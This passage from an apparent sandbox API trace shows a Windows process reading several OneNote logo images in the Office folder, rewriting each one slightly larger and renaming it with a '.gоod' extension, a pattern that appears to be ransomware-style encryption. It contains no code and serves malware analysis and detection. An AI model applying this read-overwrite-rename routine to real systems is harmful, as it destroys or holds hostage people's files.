Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0252.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0252.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3957698 | out: lpFileInformation=0x3957698*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806)) returned 1 [0252.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0252.402] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0252.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.402] GetFileType (hFile=0x824) returned 0x1 [0252.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.402] GetFileType (hFile=0x824) returned 0x1 [0252.402] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x806 [0252.402] ReadFile (in: hFile=0x824, lpBuffer=0x3958218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3958218*, lpNumberOfBytesRead=0x1fcee238*=0x806, lpOverlapped=0x0) returned 1 [0252.403] CloseHandle (hObject=0x824) returned 1 [0254.164] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0254.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0254.165] GetFileType (hFile=0x82c) returned 0x1 [0254.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.165] GetFileType (hFile=0x82c) returned 0x1 [0254.165] WriteFile (in: hFile=0x82c, lpBuffer=0x39f86e8*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39f86e8*, lpNumberOfBytesWritten=0x1fcee148*=0x810, lpOverlapped=0x0) returned 1 [0254.165] CloseHandle (hObject=0x82c) returned 1 [0254.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x62 [0254.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x67 [0254.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0254.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93b61fc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1 [0254.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0254.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png.gоod")) returned 1 [0254.166] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0254.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0254.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x39f9a20 | out: lpFileInformation=0x39f9a20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8db)) returned 1 [0254.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0254.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0254.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0254.167] GetFileType (hFile=0x82c) returned 0x1 [0254.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.167] GetFileType (hFile=0x82c) returned 0x1 [0254.167] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8db [0254.167] ReadFile (in: hFile=0x82c, lpBuffer=0x39fa618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39fa618*, lpNumberOfBytesRead=0x1fcee238*=0x8db, lpOverlapped=0x0) returned 1 [0254.168] CloseHandle (hObject=0x82c) returned 1 [0254.178] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0254.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0254.179] GetFileType (hFile=0x82c) returned 0x1 [0254.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.179] GetFileType (hFile=0x82c) returned 0x1 [0254.179] WriteFile (in: hFile=0x82c, lpBuffer=0x3a74b28*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3a74b28*, lpNumberOfBytesWritten=0x1fcee148*=0x8e0, lpOverlapped=0x0) returned 1 [0254.179] CloseHandle (hObject=0x82c) returned 1 [0254.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0254.362] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x59 [0254.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0254.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93b61fc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0254.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0254.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png.gоod")) returned 1 [0254.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0254.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0254.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3b79df8 | out: lpFileInformation=0x3b79df8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae7)) returned 1 [0254.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0254.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0254.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.666] GetFileType (hFile=0x824) returned 0x1 [0254.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.666] GetFileType (hFile=0x824) returned 0x1 [0254.666] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xae7 [0254.666] ReadFile (in: hFile=0x824, lpBuffer=0x3b7abf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3b7abf8*, lpNumberOfBytesRead=0x1fcee238*=0xae7, lpOverlapped=0x0) returned 1 [0254.668] CloseHandle (hObject=0x824) returned 1 [0254.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0254.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.680] GetFileType (hFile=0x824) returned 0x1 [0254.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.680] GetFileType (hFile=0x824) returned 0x1 [0254.680] WriteFile (in: hFile=0x824, lpBuffer=0x3bf6938*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3bf6938*, lpNumberOfBytesWritten=0x1fcee148*=0xaf0, lpOverlapped=0x0) returned 1 [0254.683] CloseHandle (hObject=0x824) returned 1 [0254.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0254.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x59 [0254.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0254.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9404d073, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaf0)) returned 1 [0254.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0254.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png.gоod")) returned 1 [0254.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0254.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0254.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3bf7c28 | out: lpFileInformation=0x3bf7c28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd46)) returned 1 [0254.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0254.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0254.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.684] GetFileType (hFile=0x824) returned 0x1 [0254.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.684] GetFileType (hFile=0x824) returned 0x1 [0254.684] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd46 [0254.684] ReadFile (in: hFile=0x824, lpBuffer=0x3bf8c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3bf8c88*, lpNumberOfBytesRead=0x1fcee238*=0xd46, lpOverlapped=0x0) returned 1 [0254.686] CloseHandle (hObject=0x824) returned 1 [0254.740] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0254.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.740] GetFileType (hFile=0x824) returned 0x1 [0254.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.740] GetFileType (hFile=0x824) returned 0x1 [0254.740] WriteFile (in: hFile=0x824, lpBuffer=0x3a9ec90*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3a9ec90*, lpNumberOfBytesWritten=0x1fcee148*=0xd50, lpOverlapped=0x0) returned 1 [0254.741] CloseHandle (hObject=0x824) returned 1 [0254.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0254.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x59 [0254.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0254.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x940bf717, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd50)) returned 1 [0254.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0254.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png.gоod")) returned 1 [0254.742] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0254.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0254.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3a9ff80 | out: lpFileInformation=0x3a9ff80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80d)) returned 1 [0254.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0254.743] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0254.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0254.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.743] GetFileType (hFile=0x824) returned 0x1 [0254.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0254.743] GetFileType (hFile=0x824) returned 0x1 [0254.743] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x80d [0254.743] ReadFile (in: hFile=0x824, lpBuffer=0x3aa0a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3aa0a98*, lpNumberOfBytesRead=0x1fcee238*=0x80d, lpOverlapped=0x0) returned 1 [0254.744] CloseHandle (hObject=0x824) returned 1 [0254.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0254.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 